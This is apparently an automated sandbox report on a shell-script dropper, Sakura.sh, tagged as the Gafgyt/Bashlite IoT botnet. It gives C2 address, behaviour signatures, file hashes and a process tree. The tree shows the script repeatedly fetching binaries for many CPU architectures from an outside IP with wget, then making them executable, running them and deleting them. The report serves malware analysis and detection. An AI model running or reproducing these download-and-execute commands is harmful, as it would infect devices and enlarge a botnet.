Analysis

  • max time kernel
    32s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2025, 06:51

General

  • Target
    Sakura.sh
  • Size 2KB
  • Sample251204-hml4ls1ldy
  • SHA256 13ccc7aef514e8fc26eb656e3ff5cffaddb1e544f048af99ddef613c97ddbf18
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gafgyt

C2
  • 151.244.72.224:606

Signatures

  • Detected Gafgyt variant 11 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Sakura.sh
    /tmp/Sakura.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /usr/bin/wget
      wget http://151.244.72.224/m-i.p-s.Sakura
      2⤵
      • Writes file to tmp directory
      PID:715
    • /bin/chmod
      chmod +x m-i.p-s.Sakura
      2⤵
      • File and Directory Permissions Modification
      PID:726
    • /tmp/m-i.p-s.Sakura
      ./m-i.p-s.Sakura
      2⤵
        PID:728
      • /bin/rm
        rm -rf m-i.p-s.Sakura
        2⤵
          PID:732
        • /usr/bin/wget
          wget http://151.244.72.224/m-p.s-l.Sakura
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod +x m-p.s-l.Sakura
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/m-p.s-l.Sakura
          ./m-p.s-l.Sakura
          2⤵
          • Reads system routing table
          • Reads system network configuration
          PID:739
        • /bin/rm
          rm -rf m-p.s-l.Sakura
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://151.244.72.224/s-h.4-.Sakura
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod +x s-h.4-.Sakura
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/s-h.4-.Sakura
            ./s-h.4-.Sakura
            2⤵
              PID:750
            • /bin/rm
              rm -rf s-h.4-.Sakura
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://151.244.72.224/x-8.6-.Sakura
                2⤵
                • Writes file to tmp directory
                PID:753
              • /bin/chmod
                chmod +x x-8.6-.Sakura
                2⤵
                • File and Directory Permissions Modification
                PID:754
              • /tmp/x-8.6-.Sakura
                ./x-8.6-.Sakura
                2⤵
                  PID:755
                • /bin/rm
                  rm -rf x-8.6-.Sakura
                  2⤵
                    PID:757
                  • /usr/bin/wget
                    wget http://151.244.72.224/a-r.m-6.Sakura
                    2⤵
                    • Writes file to tmp directory
                    PID:758
                  • /bin/chmod
                    chmod +x a-r.m-6.Sakura
                    2⤵
                    • File and Directory Permissions Modification
                    PID:759
                  • /tmp/a-r.m-6.Sakura
                    ./a-r.m-6.Sakura
                    2⤵
                      PID:760
                    • /bin/rm
                      rm -rf a-r.m-6.Sakura
                      2⤵
                        PID:762
                      • /usr/bin/wget
                        wget http://151.244.72.224/x-3.2-.Sakura
                        2⤵
                        • Writes file to tmp directory
                        PID:763
                      • /bin/chmod
                        chmod +x x-3.2-.Sakura
                        2⤵
                        • File and Directory Permissions Modification
                        PID:764
                      • /tmp/x-3.2-.Sakura
                        ./x-3.2-.Sakura
                        2⤵
                          PID:765
                        • /bin/rm
                          rm -rf x-3.2-.Sakura
                          2⤵
                            PID:767
                          • /usr/bin/wget
                            wget http://151.244.72.224/a-r.m-7.Sakura
                            2⤵
                            • Writes file to tmp directory
                            PID:768
                          • /bin/chmod
                            chmod +x a-r.m-7.Sakura
                            2⤵
                            • File and Directory Permissions Modification
                            PID:769
                          • /tmp/a-r.m-7.Sakura
                            ./a-r.m-7.Sakura
                            2⤵
                              PID:770
                            • /bin/rm
                              rm -rf a-r.m-7.Sakura
                              2⤵
                                PID:772
                              • /usr/bin/wget
                                wget http://151.244.72.224/p-p.c-.Sakura
                                2⤵
                                • Writes file to tmp directory
                                PID:773
                              • /bin/chmod
                                chmod +x p-p.c-.Sakura
                                2⤵
                                • File and Directory Permissions Modification
                                PID:774
                              • /tmp/p-p.c-.Sakura
                                ./p-p.c-.Sakura
                                2⤵
                                  PID:775
                                • /bin/rm
                                  rm -rf p-p.c-.Sakura
                                  2⤵
                                    PID:777
                                  • /usr/bin/wget
                                    wget http://151.244.72.224/i-5.8-6.Sakura
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:778
                                  • /bin/chmod
                                    chmod +x i-5.8-6.Sakura
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:783
                                  • /tmp/i-5.8-6.Sakura
                                    ./i-5.8-6.Sakura
                                    2⤵
                                      PID:784
                                    • /bin/rm
                                      rm -rf i-5.8-6.Sakura
                                      2⤵
                                        PID:788
                                      • /usr/bin/wget
                                        wget http://151.244.72.224/m-6.8-k.Sakura
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:789
                                      • /bin/chmod
                                        chmod +x m-6.8-k.Sakura
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:796
                                      • /tmp/m-6.8-k.Sakura
                                        ./m-6.8-k.Sakura
                                        2⤵
                                          PID:798
                                        • /bin/rm
                                          rm -rf m-6.8-k.Sakura
                                          2⤵
                                            PID:801
                                          • /usr/bin/wget
                                            wget http://151.244.72.224/p-p.c-.Sakura
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:802
                                          • /bin/chmod
                                            chmod +x p-p.c-.Sakura
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:808
                                          • /tmp/p-p.c-.Sakura
                                            ./p-p.c-.Sakura
                                            2⤵
                                              PID:810
                                            • /bin/rm
                                              rm -rf p-p.c-.Sakura
                                              2⤵
                                                PID:813
                                              • /usr/bin/wget
                                                wget http://151.244.72.224/a-r.m-4.Sakura
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:814
                                              • /bin/chmod
                                                chmod +x a-r.m-4.Sakura
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:820
                                              • /tmp/a-r.m-4.Sakura
                                                ./a-r.m-4.Sakura
                                                2⤵
                                                  PID:821
                                                • /bin/rm
                                                  rm -rf a-r.m-4.Sakura
                                                  2⤵
                                                    PID:824
                                                  • /usr/bin/wget
                                                    wget http://151.244.72.224/a-r.m-5.Sakura
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:826
                                                  • /bin/chmod
                                                    chmod +x a-r.m-5.Sakura
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:832
                                                  • /tmp/a-r.m-5.Sakura
                                                    ./a-r.m-5.Sakura
                                                    2⤵
                                                      PID:834
                                                    • /bin/rm
                                                      rm -rf a-r.m-5.Sakura
                                                      2⤵
                                                        PID:839

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          a-r.m-5.Sakura

                                                          • Path /tmp/a-r.m-5.Sakura
                                                          • Size 98KB
                                                          • SHA256 a00db9f639ca5beb42be7f2e4b8ba48996d823c187492b8661408c0796c798cf
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          a-r.m-6.Sakura

                                                          • Path /tmp/a-r.m-6.Sakura
                                                          • Size 118KB
                                                          • SHA256 2a32bd0d89f79561c3dfbc4d42cbb8e00a6aa5691b9edb604dd607a7389510fa
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          a-r.m-7.Sakura

                                                          • Path /tmp/a-r.m-7.Sakura
                                                          • Size 91KB
                                                          • SHA256 4b192e426d8db3a1202638e0dc9055be97dab7a2d02fa2895b44e69fdc1d388d
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          i-5.8-6.Sakura

                                                          • Path /tmp/i-5.8-6.Sakura
                                                          • Size 96KB
                                                          • SHA256 e39ae8606f7fde8f7c4f6d05820c01c0d88761828c94de707c5fd8dac60f5434
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          m-6.8-k.Sakura

                                                          • Path /tmp/m-6.8-k.Sakura
                                                          • Size 156KB
                                                          • SHA256 367c3e32682736981ce62433391c3c526b9ba174bf26cc3958d981f97dcc50ba
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          m-i.p-s.Sakura

                                                          • Path /tmp/m-i.p-s.Sakura
                                                          • Size 123KB
                                                          • SHA256 485600a97866207f946d6552fc71bdd876d7466ebe3f7c832c52399f538bcd2a
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          m-p.s-l.Sakura

                                                          • Path /tmp/m-p.s-l.Sakura
                                                          • Size 123KB
                                                          • SHA256 d45961a0b0e771b04c578cd9068f56e694ec41062d85c88651e80b5823572ca7
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          p-p.c-.Sakura

                                                          • Path /tmp/p-p.c-.Sakura
                                                          • Size 105KB
                                                          • SHA256 0658c9f92e23f5b8914d511b3a29ce28b170d194343b8c3d6e22baf21aac6c90
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          s-h.4-.Sakura

                                                          • Path /tmp/s-h.4-.Sakura
                                                          • Size 86KB
                                                          • SHA256 a74908ea9a46e8676d4763c1c24d514fe75a24b8b815a78af2fb0766e279821a
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          x-3.2-.Sakura

                                                          • Path /tmp/x-3.2-.Sakura
                                                          • Size 83KB
                                                          • SHA256 a9b9301e75806ebf5e2e007b1ac6196d993a3cf0630394597f02f9e2be2eb461
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          x-8.6-.Sakura

                                                          • Path /tmp/x-8.6-.Sakura
                                                          • Size 92KB
                                                          • SHA256 4543f33125d0623caf587df3b1d70eeea9ba8b14fcc81cd75ebf3d803c560d86
                                                          • MD5 SHA1 SHA512 SSDEEP